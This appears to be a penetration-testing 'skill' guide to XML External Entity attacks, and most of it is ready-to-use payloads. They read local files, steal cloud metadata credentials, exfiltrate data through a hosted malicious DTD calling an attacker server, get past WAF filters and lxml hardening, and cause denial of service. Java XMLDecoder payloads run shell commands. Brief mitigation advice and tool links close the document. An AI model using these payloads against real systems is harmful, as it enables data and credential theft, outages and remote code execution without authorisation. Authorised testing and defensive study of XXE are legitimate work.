XXE Pentest Skill
A comprehensive guide for testing and exploiting XML External Entity (XXE) vulnerabilities.
Quick Start
- Identify XML input points - Look for XML parsers, file uploads (SVG, DOCX, XLIFF, RSS), SOAP endpoints, or any XML processing
- Test basic XXE - Start with simple entity injection
- Escalate - Try file read, SSRF, blind techniques, or error-based exfiltration
- Bypass protections - Use encoding, protocol tricks, or parameter entities
Detection & Initial Testing
Basic XXE Test
Test if entity declarations are processed:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
If the response shows 3 instead of the original value, XXE is likely possible.
Parameter Entity Detection
When standard entities are blocked, try parameter entities for out-of-band detection:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
%xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Monitor for DNS/HTTP callbacks to confirm vulnerability.
File Reading Attacks
Direct File Read
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
File Protocol Variations
<!-- Standard file:// -->
<!ENTITY example SYSTEM "file:///etc/passwd">
<!-- Windows -->
<!ENTITY example SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">
<!-- With ELEMENT declaration -->
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck>
PHP Filter Wrapper
For PHP applications, use base64 encoding to extract files:
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>
Extract source code:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
Directory Listing (Java)
<!-- Root directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa[
<!ELEMENT bb ANY>
<!ENTITY xxe SYSTEM "file:///"
]>
<root><foo>&xxe;</foo></root>
<!-- Specific directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/"
]>
<root><foo>&xxe;</foo></root>
SSRF & Out-of-Band Attacks
Cloud Metadata SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF with Parameter Entities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
%xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Out-of-Band Data Exfiltration
Host a malicious DTD at http://YOUR-SERVER.com/malicious.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR-SERVER.com/?x=%file;'>">
%eval;
%exfiltrate;
Then send:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
%xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Error-Based XXE
External DTD Error-Based
Host malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Send payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
%xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
The error message will contain the file contents.
System DTD Error-Based (No Outbound)
When external connections are blocked, use local DTDs:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Finding Local DTDs
Common DTD paths to try:
/usr/share/yelp/dtd/docbookx.dtd/usr/local/app/schema.dtd/tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Use dtd-finder tool on Docker images to discover DTDs:
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/docker-image.tar
Format-Specific Attacks
SVG File Upload
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="file:///etc/hostname"></image>
</svg>
Command execution via PHP expect:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
XLIFF Upload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://YOUR-COLLABORATOR.net/?xxe_test">
%remote;
]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
RSS Feed
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>&xxe;</title>
<link>http://example.com/</link>
<description>A blog about things</description>
</channel>
</rss>
Office Documents (DOCX/XLSX)
- Unzip the document
- Edit
word/document.xmlorxl/sharedStrings.xml - Insert XXE payload between root elements
- Rezip and upload
XInclude
When you can't control DOCTYPE:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
SOAP
<soap:Body>
<foo><![CDATA[
<!DOCTYPE doc [
<!ENTITY % dtd SYSTEM "http://YOUR-IP:22/">
%dtd;
]>
<xxx/>
]]></foo>
</soap:Body>
WAF & Protection Bypasses
Base64 Encoding
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
%init;
]>
<foo/>
UTF-7 Encoding
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://YOUR-IP:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
HTML Entity Encoding
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >
%a;
%dtd;
]>
<data><env>&exfil;</env></data>
Jar Protocol (Java)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://YOUR-IP:8080/evil.zip!/evil.dtd">
]>
<foo>&xxe;</foo>
Content-Type Switching
Change from JSON to XML:
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [
<!ENTITY xxe SYSTEM "http://YOUR-IP:8000/TEST.ext" >
]>
<root>
<root>
<firstName>&xxe;</firstName>
</root>
</root>
DoS Attacks
Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Java XMLDecoder RCE
Runtime.exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>YOUR-COMMAND</string></void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>YOUR-COMMAND</string></void>
</array>
<void method="start" id="process"/>
</void>
</java>
Python lxml Exploitation
Error-Based File Disclosure (lxml < 5.4.0)
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
Bypassing lxml 5.4.0 Hardening
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
Mitigation Guidance
Java DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Python lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, load_dtd=False)
General Recommendations
- Disable DOCTYPE declarations entirely
- Disable external entity resolution
- Use secure processing mode
- Avoid returning raw parser errors to users
- Validate and sanitize all XML input
- Upgrade libraries (lxml ≥ 5.4.0, libxml2 ≥ 2.13.8)
Tools
- xxexploiter: https://github.com/luisfontes19/xxexploiter
- dtd-finder: https://github.com/GoSecure/dtd-finder
- xxe-ftp-server.rb: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
- Burp Collaborator: For out-of-band detection
- Responder.py: For NTLM hash capture on Windows
References
- PortSwigger XXE Guide: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
- XXE Workshop: https://gosecure.github.io/xxe-workshop/
- CVE-2025-27136 LocalS3 XXE: https://www.offsec.com/blog/cve-2025-27136/